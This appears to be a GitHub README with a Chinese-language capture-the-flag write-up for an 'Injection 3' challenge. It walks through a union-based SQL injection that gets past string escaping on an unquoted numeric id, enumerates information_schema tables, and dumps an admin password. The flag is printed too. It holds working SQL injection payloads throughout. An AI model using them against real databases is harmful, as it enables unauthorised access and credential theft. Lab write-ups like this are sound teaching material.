Skip to content

Latest commit

 

History

History

Injection_3

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

Injection 3

Daedalus加強了防護,在php code中加入mysqli_real_escape_string讓單引號雙引號攻擊無效了。

  1. $query = "SELECT * FROM ${table_prefix}users WHERE id=$id"
  • $id是數字所以並沒有被單引號保護住,這給了我們很好的機會執行其他query!
  1. 這個php會把使用者資料印出來,所以如果能使用UNION只要把column的名字對應或重新命名成password就成功了!
  • 但因為table名字被${table_prefix}保護住,我們必須先找出table全名
  1. UNION指令會把兩個相同數目的column對應聯集起來,這個特性讓我們能猜出user table有幾個column
  • 試了一下,id=0 UNION SELECT 1,2,3,4,5,6,7猜中了,下一步要搜出這個user table的全名
  • MySQL官網query schema的教學察看怎麼顯示table名字
  • id=0 UNION SELECT table_name, table_name, table_name, table_name, table_name, table_name, table_name FROM information_schema.tables LIMIT 1,成功顯示出一個table的名字。
  • 但不是我們要的,所以再加上OFFSET = 1,還是不對,於是寫個script從0跑到50,最後找到OFFSET = 40:
  • id=0 UNION SELECT table_name, table_name, table_name, table_name, table_name, table_name, table_name FROM information_schema.tables LIMIT 1 OFFSET 40,找出全名叫:super_secret_users
  • 於是可以使用UNION顯示密碼了:id=0 UNION SELECT password, password, password, password, password, password, password FROM super_secret_users WHERE id=1,得到密碼 = not_the_flag_super_secret_admin_password
  • 最後再用這個密碼登入,成功取得flag = flag_2tc7ZPa5PEhcyZJXgH